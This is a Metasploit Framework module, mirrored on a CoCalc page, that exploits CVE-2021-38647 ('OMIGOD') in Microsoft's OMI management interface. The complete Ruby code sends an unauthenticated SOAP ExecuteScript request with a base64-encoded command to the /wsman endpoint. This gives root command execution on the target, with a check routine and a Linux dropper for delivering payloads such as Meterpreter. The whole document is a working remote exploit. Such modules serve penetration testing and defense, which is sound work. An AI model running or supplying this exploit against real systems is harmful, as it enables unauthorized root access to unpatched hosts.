CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/cve_2021_38647_omigod.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
14
XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
21
'Description' => %q{
22
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
23
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
24
OMI version 1.6.8-1 (released September 8th 2021).
25
},
26
'Author' => [
27
'Nir Ohfeld', # vulnerability discovery & research
28
'Shir Tamari', # vulnerability discovery & research
29
'Spencer McIntyre', # metasploit module
30
'wvu' # vulnerability research
31
],
32
'References' => [
33
['CVE', '2021-38647'],
34
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
35
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
36
['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
37
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
38
],
39
'DisclosureDate' => '2021-09-14',
40
'License' => MSF_LICENSE,
41
'Platform' => ['linux', 'unix'],
42
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
43
'Privileged' => true,
44
'Targets' => [
45
[
46
'Unix Command',
47
{
48
'Platform' => 'unix',
49
'Arch' => ARCH_CMD,
50
'Type' => :unix_cmd
51
}
52
],
53
[
54
'Linux Dropper',
55
{
56
'Platform' => 'linux',
57
'Arch' => [ARCH_X86, ARCH_X64],
58
'Type' => :linux_dropper
59
}
60
]
61
],
62
'DefaultTarget' => 1,
63
'DefaultOptions' => {
64
'RPORT' => 5985,
65
'SSL' => false,
66
'MeterpreterTryToFork' => true
67
},
68
'Notes' => {
69
'AKA' => ['OMIGOD'],
70
'Stability' => [CRASH_SAFE],
71
'Reliability' => [REPEATABLE_SESSION],
72
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
73
}
74
)
75
)
76
77
register_options([
78
OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
79
])
80
end
81
82
def check
83
http_res = send_command('id')
84
return CheckCode::Unknown if http_res.nil?
85
return CheckCode::Safe unless http_res.code == 200
86
87
cmd_res = parse_response(http_res)
88
return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /
89
90
return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
91
end
92
93
def exploit
94
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
95
96
case target['Type']
97
when :unix_cmd
98
result = execute_command(payload.encoded)
99
if result
100
print_status(result[:stdout]) unless result[:stdout].blank?
101
print_error(result[:stderr]) unless result[:stderr].blank?
102
end
103
when :linux_dropper
104
execute_cmdstager
105
end
106
end
107
108
def execute_command(cmd, _opts = {})
109
vprint_status("Executing command: #{cmd}")
110
res = send_command(cmd)
111
112
unless res && res.code == 200
113
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
114
end
115
116
parse_response(res)
117
end
118
119
def parse_response(res)
120
return nil unless res&.code == 200
121
122
return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
123
unless return_code == 0
124
print_error("Failed to execute command: #{cmd} (status: #{return_code})")
125
end
126
127
{
128
return_code: return_code,
129
stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
130
stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
131
}
132
end
133
134
def send_command(cmd)
135
send_request_cgi(
136
'method' => 'POST',
137
'uri' => normalize_uri(target_uri.path),
138
'ctype' => 'text/xml;charset=UTF-8',
139
'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
140
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
141
<s:Header>
142
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
143
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
144
<a:ReplyTo>
145
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
146
</a:ReplyTo>
147
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
148
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
149
<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
150
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
151
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
152
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
153
<w:OptionSet s:mustUnderstand="true"/>
154
<w:SelectorSet>
155
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
156
</w:SelectorSet>
157
</s:Header>
158
<s:Body>
159
<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
160
<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
161
<p:Arguments/>
162
<p:timeout>0</p:timeout>
163
<p:b64encoded>true</p:b64encoded>
164
</p:ExecuteScript_INPUT>
165
</s:Body>
166
</s:Envelope>
167
ENVELOPE
168
)
169
end
170
end
171
172